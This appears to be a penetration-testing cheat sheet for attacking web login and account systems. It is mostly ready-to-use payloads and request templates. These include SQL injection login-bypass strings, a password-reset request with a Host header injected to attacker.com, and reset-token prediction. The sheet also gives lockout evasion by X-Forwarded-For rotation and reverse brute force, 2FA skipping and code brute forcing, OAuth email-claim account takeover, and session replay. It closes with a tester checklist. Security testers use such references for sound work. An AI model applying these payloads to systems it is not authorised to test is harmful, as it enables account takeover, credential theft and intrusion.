-- Basic bypass (admin user assumed first row):
Username: admin'--
Password: anything
→ Query: SELECT * FROM users WHERE user='admin'--' AND pass='anything'

-- Generic bypass (logs in as first user in DB):
Username: ' OR '1'='1'--
Password: anything
→ Query: SELECT * FROM users WHERE user='' OR '1'='1'--' AND pass='anything'

-- Blind: does this work?
Username: ' OR 1=1--
Username: admin' OR 'a'='a
Username: 1' OR '1'='1'/*
Username: 1 or 1=1

- Timestamp: token=1691234567890 (Unix time)
- Sequential: token=1001, 1002, 1003
- MD5(email): echo -n "user@example.com" | md5sum
- MD5(username+timestamp): reversible
- Short token (4-6 digits): brute-forceable

1. Request password reset → get token via email
2. Wait 48+ hours (token should expire)
3. Use old token → does it work?

1. Request reset → get token T1
2. Complete reset with T1
3. Use T1 again → does it work again?

POST /forgot-password HTTP/1.1
Host: attacker.com           ← inject attacker's domain
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

1. Request reset → go to reset URL with token
2. Reset page loads third-party resources (analytics, fonts)
→ Referer header leaks: https://target.com/reset?token=TOKEN
→ Third-party server receives token in logs

PUT /api/user/password
{"new_password": "hacked"}
→ No current_password field required?
→ Combine with CSRF for account takeover

Invalid username → "User not found"
Valid username, wrong pass → "Incorrect password"
→ Enumerate valid accounts

Invalid username → fast response (no DB lookup)
Valid username → slightly slower (DB lookup + hash comparison)
→ Timing oracle

POST /forgot-password {"email": "nonexistent@example.com"}
→ "If this email exists, we sent a reset link" (proper)
vs.
→ "This email is not registered" (enumeration possible)

POST /register {"email": "victim@example.com"}
→ "Email already registered" → confirms account exists
vs.
→ "Verification email sent" for both → no enumeration

Lockout at 10 attempts → try 9 wrong passwords → lock
Wait for reset period (usually 30 min or 1 hour)
→ Try 9 more → repeat → no permanent lockout

X-Forwarded-For: 1.1.1.1       ← change each request
X-Real-IP: 2.2.2.2
Rotate through IPs in header

Normal brute: try many passwords for one user → lock
Reverse brute: try ONE password for many users
→ "password123" against all users → find those with weak password
→ No single account locked out

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Flow: Login (password correct) → redirect to 2FA page → enter code
Attack: After password step, session cookie is set but 2FA not yet checked.
→ Use session cookie to directly access /dashboard
→ Skip 2FA page entirely

4-6 digit TOTP codes = 1,000,000 possibilities max
If no lockout on 2FA step:
→ Brute force all codes (tool: Burp Intruder, sequential)
→ TOTP windows: 30-second window, some accept previous/next window

Login doesn't require 2FA, but:
DELETE /account or POST /transfer requires 2FA
Attack: Is 2FA checked on those actions or only on login?
→ If only login: log in once → no 2FA needing verification for actions

Generate backup codes (usually 8-10 single-use)
Test: 
→ Are backup codes rate-limited?
→ Can backup codes be used multiple times?
→ Short codes (6-8 chars)? Brute-force if no rate limit

TOTP codes valid for one use
→ Use same TOTP code twice → does second use work?
→ Replay attack if server doesn't track used codes

1. Create account at attacker-controlled OAuth provider
2. Set email claim = victim@target.com
3. Link/login via that provider
→ If server trusts email claim without verification → account merge/takeover

1. User links Google SSO
2. User forgets password (account has no password set after SSO only)
3. "Forgot Password" flow → resets password even for SSO-only accounts?  
→ Can set password → now bypass SSO → direct login

Some apps hash passwords before sending to database.
bcrypt has 72-byte limit — input beyond 72 bytes is ignored.
Attack: 
→ Register with password "A"*100
→ Login with password "A"*72 → same hash → works
→ Login with "A"*71 + "totally different" → if truncation → same hash if first 72 chars match

username=admin%00 vs username=admin
→ Null byte truncation in some string comparisons
→ "admin\0attacker" = "admin" in C-string comparison

Username: "ⓢcott" → normalizes to "scott" → impersonates "scott"
Username: "admin" (various Unicode homoglyphs for letters a,d,m,i,n)

1. Log in → capture session cookie
2. Log out
3. Replay captured session cookie → still valid?
→ Session not server-side invalidated

1. Log in as low priv → get session cookie
2. Admin upgrades your role
3. Old session cookie now has admin access?
→ Session not regenerated → old token inherits new privileges

Token: base64(userid+timestamp) → reversible
Token: sequential integers → session ID= your_session_id -/+ small number
Token: short random (32-bit entropy) → brute-forceable

□ Try SQL injection on login fields (' OR 1=1--)
□ Test password reset: predict token, host header injection, Referer leak
□ Test account enumeration via error messages / timing
□ Check 2FA: skip step (direct URL), brute force codes, reuse codes
□ Test brute force protections: X-Forwarded-For bypass, reverse brute
□ Check session invalidation on logout
□ Check session regeneration after privilege change
□ Test password change requiring current password  
□ Test long passwords (bcrypt 72-byte truncation)
□ OAuth/SSO: test email claim trust, password set after SSO
□ Check remember_me tokens: how long, revocable, predictable?

UUID v1 format: timestamp-clock_seq-node(MAC)

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ObjectId = 4-byte timestamp + 5-byte random + 3-byte counter

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uniqid() = hex(microtime)
// Output: 5f3e7a4c1d2b3
// Entirely based on current microsecond timestamp
// Predictable if you know approximate server time

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